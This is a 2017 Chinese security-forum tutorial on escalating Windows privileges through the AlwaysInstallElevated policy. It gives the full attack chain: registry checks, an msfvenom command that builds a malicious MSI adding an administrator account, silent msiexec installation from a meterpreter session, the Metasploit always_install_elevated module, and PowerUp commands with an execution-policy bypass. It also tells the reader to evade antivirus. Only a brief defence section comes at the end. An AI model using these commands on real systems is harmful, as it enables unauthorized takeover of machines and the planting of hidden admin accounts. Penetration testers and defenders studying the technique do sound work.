Metasploit、Powershell之AlwaysInstallElevated提权实战

shuteer / 2017-04-10 12:31:00 / 浏览数 5576 安全技术 技术讨论 顶(0) 踩(0)

在讲AlwaysInstallElevated提权之前我们先要普及下Windows Installer相关知识点，以便更好的理解该漏洞产生的前因后果。

0×01 Windows Installer相关知识点介绍

Windows
Installer，微软操作系统的组件之一，是专门用来管理和配置软件服务的工具。除了是一个安装程序外，它还可以实现管理软件的安装，管理软件组件的添加和删除，监视文
Windows Installer技术分为以下两部分，它们结合在一起工作：客户端安装服务 (Msiexec.exe) 和 Microsoft软件安装 (MSI)软件包文件。Windows
Installer通过Msiexec安装MSI中包含的信息程序。
MSI文件是Windows
Installer的数据包，它实际上是一个数据库，包含安装一种产品所需要的信息和在很多安装情形下安装（和卸载）程序所需的指令和数据。MSI文件将程序的组成文件与功能
而Msiexec就是用于安装Windows Installer安装包（MSI），一般在运行Microsoft
Update安装更新或安装部分软件的时候出现，占用内存比较大。简单的说当您双击 .msi 文件时，就会运行 Msiexec.exe。

0×02 AlwaysInstallElevated简介

AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI)，如果用户启用此策略设置，那么黑客利用恶意的MSI文件就可以进行管理

0×03 Metasploit下AlwaysInstallElevated提权实战演练

此时假设我们通过一系列前期渗透，已经成功获得了目标机的meterpreter
shell（过程略），然后尝试了各类提权方法后失败，此时我们可以尝试通过AlwaysInstallElevated来实现权限的提升。
1.检测目标主机是否存在该漏洞
在meterpreter shell命令提示符下输入shell命令进入目标主机的CMD下，然后输入如下命令，查看AlwaysInstallElevated是否被定义。如图1所示。

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

图1 查看AlwaysInstallElevated是否被定义
可以看到当前目标机已经被设置了值全为1表示已经开启AlwaysInstallElevated，如果组策略里AlwaysInstallElevated没有开启，则会显示“The system was
unable to find the specified registry key or value”或者“错误: 系统找不到指定的注册表项或值”之类的提示。如图2所示。

图2查看AlwaysInstallElevated是否被定义
如果AlwaysInstallElevated没有开启，但已经获得了对注册表的访问权限，还可以通过更改注册表来开启AlwaysInstallElevated（必须同时修改两处注册表键值），进而提
2.生成恶意MSI安装文件
接下来我们就利用Metasploit下MSFVenom来生成一个在目标机器上增加管理员用户的MSI安装文件，命令如下。

```
msfvenom -f msi -p windows/adduser USER=msi PASS=123!P@ssword-o /root/msi.msi
```

该命令意思在tmp文件夹下生成一个名为msi的MSI安装文件，文件内容为添加一个账号为msi，密码为123!P@ssword的用户。如图3所示。

图3 生成MSI安装文件
3.上传安装该MSI文件
在meterpreter shell命令提示符下我们使用下列命令将该MSI文件上传到目标主机C盘下面，如图4所示。

```
upload /root/msi.msi c:\msi.msi
```

图4 上传MSI文件
可以看到已经上传成功，接下来我们输入shell命令进入目标主机cmd下使用命令行工具Msiexec进行安装，具体命令如下。

```
msiexec /quiet /qn /i C:\msi.msi
```

msiexec工具相关的参数：
/quiet=安装过程中禁止向用户发送消息
/qn=不使用图形界面
/i=安装程序
执行之后，成功添加上了该账号密码。如图5所示。当然这里也可以直接生成木马程序。
注：由于是msf生成的msi文件，所以默认会被杀毒软件拦截，做好免杀。

图5 运行该msi文件
4.查看是否提权成功
执行成功之后，我们在目标机上检测我们添加的用户是否已经具有管理员权限，输入如下命令查看管理员组用户列表，可以看到已经提权成功。如图6所示。

```
net localgroup administrators
```

图6 查看管理员组用户
5.利用Metasploit下exploit模块提权
当然Metasploit下也有相对应的模块，exploit/windows/local/always_install_elevated，利用exploit模块提权就相当简单了，我们使用该模块，只要设置一个SESSION参

图7 设置参数
设置完成后，输入run命令，就可以看到自动反弹了一个新的meterpreter，我们在此meterpreter shell下输入getuid 发现是system 权限，如图8所示。

图8提权成功
到这里我们已经提权成功了，这个模块会创建一个随机文件名的MSI文件并在提权成功后删除所有已部署的文件。
最后我们输入sessions可以看到有2个meterpreter，ID为3的就是新反弹回来的，如图9所示。

图9 sessions控制图
0×04 PowerShell下AlwaysInstallElevated提权实战演练
Powershell框架-Powerup同样也能完成提权添加用户的操作，powerup地址：
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1。
使用Powerup的Get-RegAlwaysInstallElevated模块来检查注册表项是否被设置，如果AlwaysInstallElevated注册表项被设置，意味着的MSI文件是以system权限运行的。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1'); Get-RegAlwaysInstallElevated

图10 利用powershell检查注册表项是否被设置
接着利用AlwaysInstallElevated来添加用户，运行如下命令，运行后生成文件UserAdd.msi，这时以普通用户权限运行这个UserAdd.msi，就会成功添加账户，如图11所示
Write-UserAddMSI

图11 运行UserAddMSI并查看用户
我们在查看下管理员组的成员，可以看到已经成功在普通权限的CMD下添加了一个管理员账户。如图12所示。

图12 查看管理员组

0×05 AlwaysInstallElevated漏洞产生的原因

该漏洞产生的原因是因为用户开启了windows installer特权安装功能，设置的方法如图11所示：
打开组策略编辑器（运行框中输入gpedit.msc）
A.组策略 - 计算机配置—管理模版—Windows组件—Windows Installer—永远以高特权进行安装：选择启用
B.组策略 - 用户配置—管理模版 - Windows组件—Windows Installer - 永远以高特权进行安装：选择启用

图13开启windows installer特权
设置完毕之后，会在两个注册表如下位置自动创建键值为"1"。
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001
防护：对照利用方法进行防御，只要关闭AlwaysInstallElevated，即可阻止通过msi文件的提权利用。
TheEnd.

上一篇：Phpcms_V9任意文件上传(... 下一篇：Phpcms_V9任意文件上传 -...
1. 2 条回复


shuteer 2017-04-11 07:09:36

自己顶一个！

0 回复Ta


hades 2017-04-12 02:16:51

辛苦了

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板